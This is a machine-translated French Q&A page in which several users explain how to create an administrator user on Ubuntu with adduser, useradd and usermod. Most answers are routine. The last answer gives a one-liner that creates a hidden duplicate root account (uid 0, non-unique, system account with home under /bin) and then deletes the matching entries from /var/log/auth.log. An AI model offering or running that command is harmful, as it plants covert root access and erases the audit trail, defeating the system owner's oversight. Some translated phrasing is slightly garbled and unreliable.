91 votes

Comment puis-je créer un utilisateur administrateur à partir de la ligne de commande ?

Je veux créer un utilisateur avec des privilèges administratifs et toutes les configurations habituelles comme le répertoire personnel.

  1. Y a-t-il un adduser pour donner à l'utilisateur sudo les pouvoirs automatiquement ?
  2. Quels sont les paramètres par défaut pour adduser ? Va-t-il créer automatiquement les répertoires personnels et toutes les autres choses sans paramètres supplémentaires ? (c'est-à-dire que adduser <username> assez ?)

83voto

Bruno Pereira Points 70510

Ajoutez l'utilisateur à la sudo groupe avec :

adduser <username> sudo

(Si vous utilisez Ubuntu 11.10 ou une version antérieure, utilisez la commande admin groupe).

Les valeurs par défaut sont stockées dans /etc/adduser.conf vous pouvez les vérifier avec

less /etc/adduser.conf

Pour créer un utilisateur et l'ajouter directement à la base de données de l'entreprise. sudo utilisation de groupe

adduser <username> --group sudo

(Encore une fois, utilisez admin à la place de sudo pour les versions 11.10 et antérieures).

Jetez un coup d'œil à toutes les options que vous avez avec adduser aquí .

47voto

Amith KK Points 13017

Pour créer un nouvel utilisateur avec des privilèges d'administrateur dans Ubuntu 12.04 et plus :

adduser <username> --ingroup sudo

Dans Ubuntu 11.10 et antérieures, utilisez ceci à la place :

adduser <username> --group admin

Pour modifier un utilisateur existant (12.04 et plus) :

adduser <username> --group sudo

oder

sudo usermod -aG sudo <username>

(Ou pour les versions 11.10 et antérieures : sudo usermod -aG admin <username> )

-a signifie "append", tandis que -G représente les groupes. Avec le -a y -G comme indiqué ci-dessus, le sudo (ou admin ) sera ajouté à la liste des groupes dont l'utilisateur est membre.

18voto

csi Points 339

Les autres réponses sont correctes mais vous avez également posé la question du répertoire personnel. Vous aurez également besoin d'un mot de passe pour le nouvel utilisateur.

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s définit le login de l'utilisateur Shell
  • -m crée le répertoire personnel de l'utilisateur s'il n'existe pas : /home/*new-admin-username*
  • -g ajoute l'utilisateur au groupe sudo afin qu'il ait les privilèges d'administrateur (>11.10)

Une fois créé, ajoutez un mot de passe pour l'utilisateur :

sudo passwd *new-admin-username*

Connectez-vous à l'utilisateur pour voir si tout a fonctionné :

su *new-admin-username*
cd ~/
pwd

0voto

Boschko Points 141

Voilà le truc, ça crée un nouvel utilisateur root. Vous devez changer quelques paramètres.

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

Le meilleur,

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

X